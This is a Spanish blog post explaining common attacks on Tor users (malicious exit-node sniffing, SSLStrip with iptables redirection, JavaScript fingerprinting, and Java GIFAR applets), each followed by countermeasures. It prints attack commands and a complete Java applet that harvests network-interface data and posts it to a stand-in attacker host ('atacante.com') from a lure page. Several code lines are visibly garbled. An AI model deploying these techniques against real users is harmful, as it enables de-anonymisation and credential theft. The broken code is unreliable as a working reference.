sábado, 18 de mayo de 2019

Ataques comunes en TOR

Aunque el objetivo de TOR es apoyar el anonimato y la privacidad de sus usuarios por medio de canales seguros de comunicación utilizando mecanismos de cifrado fuertes, algunos usuarios pueden emplear esta red para realizar actividades maliciosas que van en contra de la filosofía que soporta su desarrollo. Dichas actividades van desde el uso inapropiado de la red hasta el abuso de nodos de salida para espiar las comunicaciones de sus usuarios.
A continuación se describen algunos de los mecanismos de ataque empleados. Claro que anteriormente se habló sobre este tema pero muy por arriba.
Asi que te dejo el link del post anterior para que lo veas.

 

Sniffing en nodos de salida maliciosos

Se trata sin lugar a dudas del tipo de ataque más común en la red de TOR dada su simplicidad e impacto. En este caso, el atacante crea un repetidor de salida en la red de TOR y posteriormente, captura todos los paquetes que viajan por su interfaz de red, es decir, el tráfico de los usuarios que utilizan dicho nodo de salida. En TOR, toda la información que viaja entre el nodo de salida y el destino final viaja sin ningún tipo de cifrado y evidentemente es una situación que un atacante puede aprovechar con mucha facilidad.
Se trata del ataque más sencillo que se puede llevar a cabo ya que no se necesitan demasiados conocimientos técnicos por parte del atacante, no obstante, se trata de un ataque pasivo y no dirigido hacia un usuario en particular, dado que el atacante una vez ha registrado su repetidor en TOR y ha iniciado su sniffer, debe esperar pacientemente a que un cliente construya un circuito utilizando su máquina como nodo de salida.

Contramedidas
Se trata del más sencillo de implementar por parte de un atacante y es también uno de los sencillos de contrarrestar por parte de un usuario.
Para evitar que la información sensible o de cualquier tipo sea capturada por la interfaz de red del atacante en el nodo de salida, se recomienda utilizar un mecanismo de cifrado “end-to-end” sobre todos los paquetes que se envían desde el origen hacia el destino.
Para ello, una práctica bastante habitual consiste en utilizar SSH para cifrar todo el tráfico saliente, de esta forma, cuando un cliente cifra su tráfico desde el origen, el atacante podrá seguir capturando sus paquetes pero no podrá ver nada útil, solamente paquetes cifrados con una clave desconocida.

 

Uso de SSLStrip sobre TOR

 

Partiendo del escenario anterior, un atacante podría utilizar SSLStrip con el fin de tratar de engañar al usuario haciéndole creer que se encuentra consultando un sitio seguro, cuando en realidad la conexión viaja en texto claro. Se trata de una pequeña extensión del caso anterior, solo que adicionalmente, en el nodo de salida se envían todos los paquetes recibidos al puerto donde está escuchando SSLStrip en la máquina del atacante.
El procedimiento realizado por un atacante es muy sencillo, consiste en permitir a su máquina actuar como enrutador de las peticiones que le son enviadas por medio del parámetro del sistema operativo correspondiente.
>echo "1" > /proc/sys/net/ipv4/ip_forward
NOTA: Otra alternativa es utilizar FragRoute en lugar de activar esta característica a nivel de sistema operativo. Dicha herramienta permite definir reglas para interceptar y modificar tráfico saliente a un host determinado.
Se encuentra disponible en la siguiente ruta: http://www.monkey.org/~dugsong/fragroute/.
El siguiente paso consistirá en iniciar SSLStrip. Herramienta que se encuentra disponible en la siguiente ruta: http://www.thoughtcrime.org/software/sslstrip/
>sslstrip -w /home/adastra/log_tor.txt -1 4444
Finalmente, cualquier petición cuyo destino sea un servidor web; puerto “80” por defecto, debe ser redireccionada al puerto de SSLStrip para que éste a su vez, realice las operaciones que debe llevar a cabo. El atacante deberá establecer las reglas de enrutamiento adecuadas utilizando iptables.
>iptables -t nat -A PREROUTING -p tcp — destination-port 80 -j REDIRECT -to-port 4444
Ahora, lo único que debe hacer el atacante es esperar y realizar revisiones periódicas de los logs generados por SSLStrip en busca de usuarios, passwords y otra información valiosa.

En primer lugar, torproxy permite realizar una conexión de forma directa a un nodo de salidaexistente en la red de TOR y expone un proxy SOCKS que puede ser utilizado desde el navegador web o cualquier tipo de aplicación compatible, de esta forma se mejora el rendimiento a la hora de interactuar con TOR ya que no establece un circuito completo con tres nodos.
Por otro lado, torscanner es una herramienta que se ha diseñado para detectar nodos de salida maliciosos que utilicen SSLStrip. Su funcionamiento consiste en realizar una solicitud a un sitio por HTTPS y analizar la respuesta devuelta por el nodo de salida.
En el caso de que en los logs de torscanner se aprecie una sustitución de HTTPS por HTTP, se puede determinar que en el nodo de salida se encuentra SSLStrip en ejecución y que debería evitarse su uso con la propiedad “ExcludeExitNodes” en el fichero de configuración de TOR.
Finalmente, la herramienta se encuentra disponible en la siguiente ruta: http://www.thoughtcrime.org/software/tortunnel/.
>./torscanner https://www.gmail.com 80
Por otro lado, para navegar de forma segura, la extensión HTTPS Everywhere de Firefox es una excelente forma de obligar la navegación utilizando HTTPS en el caso de que el servidor en cuestión lo soporte.

 

Sitios web con scripts intrusivos

 

Las amenazas más frecuentes contra la privacidad y el anonimato de un usuario en Internet o incluso en la deep web, son aquellos scripts que se ejecutan en el lado del cliente y que permiten consultar información contenida en el navegador. Dichos scripts se encargan de acceder a información que puede revelar la identidad o incluso la ubicación de un usuario aunque utilice TOR.
La información puede ser extraída consultando las cookies, el historial de navegación y otra información almacenada en el navegador del cliente y desafortunadamente, el número de sitios en Internet que implementan este tipo de rutinas es cada vez mayor.
Para una atacante también sería factible crear un sitio web en la deep web que implemente scripts intrusivos para determinar la identidad de sus usuarios. Algunos ejemplos básicos de dichas rutinas se enseñan a continuación.
Propiedades en el navegador del cliente
<script type="text/javascript">
info = "Navegador CodeName: " + navigator.appCodeName + "</p>";
info+= "Navegador Ñame: " + navigator.appName + "</p>";
info+= "<p>Navegador Versión: " + navigator.appVersion + "</p>";
info+= "<p>Cookies Habilitadas?: " + navigator.cookieEnabled + "</p>";
info+= "<p>Plataforma: " + navigator.platform + "</p>";
info+= "<p>User-agent: " + navigator.userAgent + "</p>";
//Envió de información a un servidor web controlado por el atacante.
</script>

Resolución de pantalla
<script type="text/j avascript">
screen = "Total width/height: "+screen.width + "*" + screen.height;
screen+="Disponible width/height: "+screen.availwidth + "*" + screen.availHeight;
document.write("Color depth: "+screen.colorDepth;
document.write("Color resolución: "+screen.pixelDepth;
//Envió de información a un servidor web controlado por el atacante.
</script>

Consultando el historial del cliente
<script type="text/javascript">
info
for (i=0; Kwindow. history. length; i++) {
info += window.history[i]+"\n";
}
</script>
Contramedidas
Tor Browser bloquea la mayoría de estos ataques, sin embargo también es recomendable utilizar algunas de las extensiones de Firefox que permiten bloquear scripts maliciosos que atenten contra la privacidad de la información almacenada en el navegador.
Por otro lado, algunos sitios web no son útiles a menos de que se utilice JavaScript y lo que algunos usuarios de TOR hacen ante tales casos, es desactivar temporalmente algunas de las extensionesde Firefox que bloquean dichos elementos. Esto evidentemente no es una buena práctica, ya que el contenido bloqueado puede tener algún script para consultar y registrar información privada del navegador.

 

Sitios web intrusivos con Java

 

Del mismo modo que se pueden utilizar scripts de JavaScript para obtener información relacionada con el navegador de un usuario, los applets de Java permiten acceder de forma directa a información personal del usuario o incluso, dadas las capacidades que dispone Java para entornos de red, ejecutar peticiones HTTP directas a otros sitios en Internet evadiendo el paso por la red de TOR.
Una técnica empleada con frecuencia para ejecutar estos applets es la creación de rutinas “GIFAR” y “PDFAR” que consisten en la combinación de imágenes GIF o PDF con ficheros JAR que contienen el código de un applet.
La creación de un “GIFAR” o un “PDFAR” es simple y solamente es requerido tener unos conocimientos mínimos sobre programación en Java. A continuación se indicará un ejemplo de ataque utilizando la API de Java para acceder a información del cliente relacionada con sus interfaces de red, los pasos para esto son los siguientes:
1. Crear el applet que se ejecutará en la máquina del cliente, en este caso, dicha rutina recolectará toda la información disponible sobre las interfaces de red del cliente, incluyendo direcciones IP, máscaras de red, etcétera. Posteriormente se procede a conectarse con un sitio web ejecutando una petición HTTP.

import javax.swing.JApplet;
import java.awt.Graphics;
import java.net.Networklnterface;
import java.net.InterfaceAddress;
import java.net.InetAddress;
import java.net.HttpURLConnection;
import java.net.URL;
import java.útil.List;
import java.útil.Enumeration;
import java.nio.*;
import java.io.DataOutputStream;

public class Gifar extends JApplet {
    static final long serialVersionUID = 0;
    public void init() {
        HttpURLConnection http = null;
        try (
            String peticion = getParameter("urlAtacante");
            StringBuffer cliente = new StringBuffer();
            Enumeration e = Networklnterface.getNetworklnterfaces();
            int direccionDetectada = 1;
            while(e.hasMoreElements()) {
               Networklnterface ni = (Networklnterface) e .nextElement();
               cliente.append("INTERFAZ DE RED DETECTADA, Inició de Traza...");
               cliente.append("XnDIRECCIÓN DETECTADA NÚMERO:"+direccionDetectada);
               cliente.append("\nNet interface: "+ni.getName());
               cliente.append("\nMAC: "+ni.getHardwareAddress () +"") ;
               cliente.append("\nMTU: "+ni.getMTU());
               cliente.append("\nPoint to Point? "+ni.getMTU () ) ;
               cliente.append("\nes UP? "+ni. isUp () ) ;
               cliente.append("\nes Virtual? "+ni.isVirtual());
               cliente.append("\nSoporta Multicast? "+ni.supportsMulticast());
               List<InterfaceAddress> subSetlface = ni.getlnterfaceAddresses();
               for(InterfaceAddress interfaceAddress : subSetlface){
                   cliente.append("\n -- BROADCAST: "+interfaceAddress.getBroadcast());
    cliente.append("\n -- MASCARA DE SUBRED"+interfaceAddress.getNetworkPrefixLength()) ;
              }
              cliente.append("\nFin de Traza...\n\n\n");
              direccionDetectada = direccionDetectada+1;
         }
         URL rutaPeticion = new URL(petición);
         http = (HttpURLConnection)rutaPeticion.openConnection();
         http.setRequestProperty("Content-type", "text/html");
         http.setUseCaches(false);
         http.setDoOutput(true);
         http.setDoInput(true);
         http.setRequestMethod("GET");
         DataOutputStream wr = new DataOutputStream (http.getOutputStream());
         wr.writeBytes (cliente.toString());
         wr.flush ();
         wr.close () ;
         } catch(Exception ex) {
             System.out.println("Excepción: "+ex.getMessage());
         } finally {
             if(http != null) {
                 http.disconnect();
            }
        }
    }
}

El applet intentará recuperar un parámetro que incluye la url contra la que debe ejecutarse la petición HTTP desde el cliente, posteriormente el applet intenta consultar información relacionada con las interfaces de red del cliente y finalmente abre una conexión HTTP con el sitio remoto del atacante, enviándole una cadena de texto con toda la información extraída.
2. El siguiente paso consiste en compilar dicha clase y posteriormente crear el fichero JAR que contendrá el applet.
>javac Gifar.java
>jar -cf Gifar.jar Gifar.class
3. Una vez se ha compilado y empaquetado el applet, se crea el “GIFAR” propiamente dicho, para ello se concatenan los flujos de ambos ficheros (GIF y JAR), algo tan sencillo como utilizar el comando “cat" y redireccionar la salida a un fichero nuevo.
>cat imagen.gif Gifar.jar > Gifarlmage.gif
Comparando los tamaños del fichero original “imagen.gif" con el fichero generado “Gifarlmage.gif" se podrá notar la diferencia en el tamaño.
4. Finalmente, el atacante puede crear sitio web en la deep web para alojar el applet. Una página simple para tal fin puede ser la siguiente:
<html>
     <head><title>Venta de Armas!! Entra aquí!!</title></head>
     <body>
         <p>Aqui encontrarás lo que andas buscando...</p>
        <applet code="Gifar.class" archive="GifarImage.gif" width=0 height=0>
            <param name="urlAtacante" value="http://www.atacante.com/ paginaRegistro" />
        </applet>
    </body>
</html> 
El atributo “archive” asume el valor de “Gifarlmage.gif" que es donde se encuentra el applet.
Por otro lado se establece el parámetro necesario para la ejecución del applet, que en este caso es “urlAtacante” y contiene la URL contra la que se va a realizar una petición HTTP para el envío de la información extraída del cliente.

Contramedidas
Aunque los applets intrusivos pueden suponer una amenaza aun mayor que los scripts intrusivos con JavaScript, las medidas para bloquear ambos tipos de ataques son las mismas y en la mayoría de los casos, este tipo de contenidos son bloqueados de forma automática por TorBrowser y algunas de las extensiones existentes en Firefox.
Una buena medida de seguridad, consiste en no permitir la ejecución de applets de Java desde fuentes desconocidas y por lo tanto poco fiables. Es una medida que no solamente aplica para sitios en la deep web y para preservar la privacidad, sino también para evitar ataques del tipo “Client-Site” desde Internet.

Por Daniel Echeverri Montoya.

No hay comentarios.: